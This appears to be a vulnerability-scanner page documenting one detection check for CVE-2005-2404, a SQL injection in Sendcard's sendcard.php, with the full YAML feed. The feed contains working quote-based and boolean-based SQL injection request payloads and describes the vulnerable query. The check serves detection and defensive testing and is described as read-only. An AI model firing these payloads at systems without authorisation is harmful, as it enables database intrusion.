Sendcard — 1 vulnerability check
noctis ships 1 vulnerability check for Sendcard, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Sendcard sendcard.php id SQL Injection
| CVE | CVE-2005-2404 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/sendcard/CVE-2005-2404.yaml |
Sendcard 3.2.3 and earlier insert the `id` parameter of sendcard.php, used to view a sent e-card, into a quoted SQL string without escaping it, which allows unauthenticated SQL injection. A failing query makes the page print the database error together with the query text.
This check first requests a card with a random `id` followed by a single quote and confirms the page reports an invalid SQL query ending with that value, while the same request without the quote raises no database error. It then proves the injection with three requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must make the query fail, the right sum must not. Nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{cdir}}/sendcard.php?view=1&id={{sc.n}} - HTTP(S) request
GET {{cdir}}/sendcard.php?view=1&id={{sc.n}}%27 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{cdir}}/sendcard.php?view=1&id={{sc.n}}%27%20AND%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc… - HTTP(S) request
GET {{cdir}}/sendcard.php?view=1&id={{sc.n}}%27%20AND%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc… - HTTP(S) request
GET {{cdir}}/sendcard.php?view=1&id={{sc.n}}%27%20AND%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc… - Parses / computes the next value with a Rhai script
- Checks
bp.foundfor^BOOL$→ finding QoD 97: Sendcard sendcard.php id SQL Injection (CVE-2005-2404) - Checks
qm.foundfor^QUOTE$→ finding QoD 75: Sendcard sendcard.php id SQL Injection (CVE-2005-2404)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-2404
- https://www.securityfocus.com/bid/14351
- https://sourceforge.net/projects/sendcard/files/sendcard%203.X/
Feed source — tests/vulnerabilities/sendcard/CVE-2005-2404.yaml
# Sendcard <= 3.2.3 — sendcard.php `id` SQL injection (CVE-2005-2404)
#
# sendcard.php imports the query string into globals (extract($HTTP_GET_VARS))
# and, when `view` is set, runs
# $query = "SELECT * FROM $tbl_name where id='$id'";
# with `id` unescaped. A failing query goes to the bundled PHPLib DB_Sql class
# (Halt_On_Error = "yes" by default), which prints
# <b>Database error:</b> Invalid SQL: SELECT * FROM sendcard where id='...'
# <b>MySQL Error</b>: 1064 (...)
# and halts. Sendcard 3.3.0 quotes the value with $db->quoteSmart($id).
# Source read: sendcard_3-2-3.zip / sendcard_3-3-0.zip (SourceForge "sendcard").
#
# Source NASL (pre2008/sendcard_sql.nasl) requests
# `sendcard.php?view=1&id=%27<string>` under / and the CGI dirs and looks for the
# echoed query plus "MySQL Error". This feed keeps that check and goes further:
# 1. QoD 97 — boolean proof computed by the database:
# `id=N' AND 1=IF(A+B=S,1,(SELECT 1 UNION SELECT 2)) AND '1'='1` sent three
# times (S wrong, right, wrong; random A/B). A wrong sum evaluates the
# two-row subquery and the query fails (1242 "Subquery returns more than
# 1 row", MySQL 4.1+ / MariaDB), the right sum is valid SQL that matches no
# card. The subquery is constant, so it fails whether or not the table
# holds rows (checked on MariaDB 10.11 against the 3.2.3 table layout;
# Sendcard-era MySQL 4.1-5.x evaluates constant subqueries the same way).
# A newer optimizer that skips the subquery on an impossible key lookup
# only drops the result to the QoD 75 branch below, never to a false hit.
# PHP-Nuke module installs (modules.php?name=sendcard) are not probed.
# The id N is random, so the valid request selects no card either.
# 2. QoD 75 — the NASL's quote check, made specific: `id=N'` (random N) must
# make the page print "Invalid SQL:" followed by the card query ending in
# id='N'', while the control `id=N` (valid SQL) prints no SQL error — a
# page that always errors, or a debug page printing every query, stays
# clean unless the quote really breaks the query.
# With magic_quotes_gpc on, the quote reaches the query as \' and the string
# is never closed: not exploitable, and both checks stay silent.
#
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL pre2008/sendcard_sql.nasl
# (OID 1.3.6.1.4.1.25623.1.0.19748, GPL-2.0-only)
uid: 622d199d-19bb-4f6d-be1a-69ab0c78010a
name: "Sendcard sendcard.php id SQL Injection (CVE-2005-2404)"
description: |
Sendcard 3.2.3 and earlier insert the `id` parameter of sendcard.php, used
to view a sent e-card, into a quoted SQL string without escaping it, which
allows unauthenticated SQL injection. A failing query makes the page print
the database error together with the query text.
This check first requests a card with a random `id` followed by a single
quote and confirms the page reports an invalid SQL query ending with that
value, while the same request without the quote raises no database error.
It then proves the injection with three requests whose outcome depends on
the database computing the sum of two random numbers: a wrong sum must make
the query fail, the right sum must not. Nothing is written and no data is
read from the database.
cves: [CVE-2005-2404]
cvss: 7.5 # NVD has only a CVSS v2 score (7.5) for this CVE
severity: high
confidence_base: 0.30
category: sqli
tags: [sendcard, ecard, sqli, boolean-based, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-2404"
- "https://www.securityfocus.com/bid/14351"
- "https://sourceforge.net/projects/sendcard/files/sendcard%203.X/"
steps:
# ── Random operands and card id ───────────────────────────────────────────
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ n: rand_int(10000000, 99999999), a: a, b: b, sum: a + b,
bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
store_as: sc
# ── Per candidate install dir (loop group) ────────────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
loop:
over: ["", "/sendcard", "/ecard", "/ecards", "/cards", "/postcards"]
var: cdir
- id: init-qm-resp
action: set_var
var_name: qm_resp
var_value: {status: 0, body: null}
- id: init-f1-resp
action: set_var
var_name: f1_resp
var_value: {status: 0, body: null}
- id: init-t-resp
action: set_var
var_name: t_resp
var_value: {status: 0, body: null}
- id: init-f2-resp
action: set_var
var_name: f2_resp
var_value: {status: 0, body: null}
# ── Stage 1: valid control, then the quote breaks the query ──────────────
- id: ctl-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{cdir}}/sendcard.php?view=1&id={{sc.n}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
- id: qm-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{cdir}}/sendcard.php?view=1&id={{sc.n}}%27"
condition: "ctl_resp.status == 200"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qm_resp
# The failing query is echoed after "Invalid SQL:": the card query ending in
# our random id and the stray quote proves our input reached the SQL. The
# control must not print any SQL error (a page that always errors is not
# proof); a Debug page that prints every query still passes, since only the
# halt message carries "Invalid SQL:".
- id: check-qm
action: script
code: |
let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
let hit = ctl_resp.status == 200 && !ereg("Invalid SQL:", cbody, true)
&& ereg("Invalid SQL:\\s*SELECT \\* FROM \\w+ where id='" + sc.n + "''", body, true);
#{ hit: hit, found: if hit { "QUOTE" } else { "" } }
store_as: qm
# ── Stage 2: boolean proof — the database must compute A+B ────────────────
- id: bool-false-1
action: http_request
method: GET
port: "{{port}}"
path: "{{cdir}}/sendcard.php?view=1&id={{sc.n}}%27%20AND%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%20SELECT%202))%20AND%20%271%27%3D%271"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f1_resp
- id: bool-true
action: http_request
method: GET
port: "{{port}}"
path: "{{cdir}}/sendcard.php?view=1&id={{sc.n}}%27%20AND%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20SELECT%202))%20AND%20%271%27%3D%271"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: t_resp
- id: bool-false-2
action: http_request
method: GET
port: "{{port}}"
path: "{{cdir}}/sendcard.php?view=1&id={{sc.n}}%27%20AND%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%20SELECT%202))%20AND%20%271%27%3D%271"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f2_resp
- id: check-bool
action: script
code: |
let q = "Invalid SQL:\\s*SELECT \\* FROM \\w+ where id='" + sc.n + "' AND 1=IF";
let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
let ok = qm.hit && t_resp.status == 200
&& ereg(q, b1, true) && !ereg("Invalid SQL:", bt, true) && ereg(q, b2, true);
#{ ok: ok, found: if ok { "BOOL" } else { "" } }
store_as: bp
- id: report-bool
action: match
source: bp.found
pattern: "^BOOL$"
condition: "bp.ok"
on_match:
finding:
title: "Sendcard sendcard.php id SQL Injection (CVE-2005-2404)"
confidence_delta: 0.65
qod: 97
evidence: "Boolean SQLi confirmed on {{cdir}}/sendcard.php: id={{sc.n}}' AND 1=IF({{sc.a}}+{{sc.b}}=S,1,(SELECT 1 UNION SELECT 2)) AND '1'='1 made the card query fail for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
stop: true
- id: report-qm
action: match
source: qm.found
pattern: "^QUOTE$"
condition: "qm.hit"
on_match:
finding:
title: "Sendcard sendcard.php id SQL Injection (CVE-2005-2404)"
confidence_delta: 0.50
qod: 75
evidence: "SQL injection: id={{sc.n}}' on {{cdir}}/sendcard.php made the page report the invalid card query ending in id='{{sc.n}}'', while the control id={{sc.n}} (valid SQL) raised no database error (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
stop: true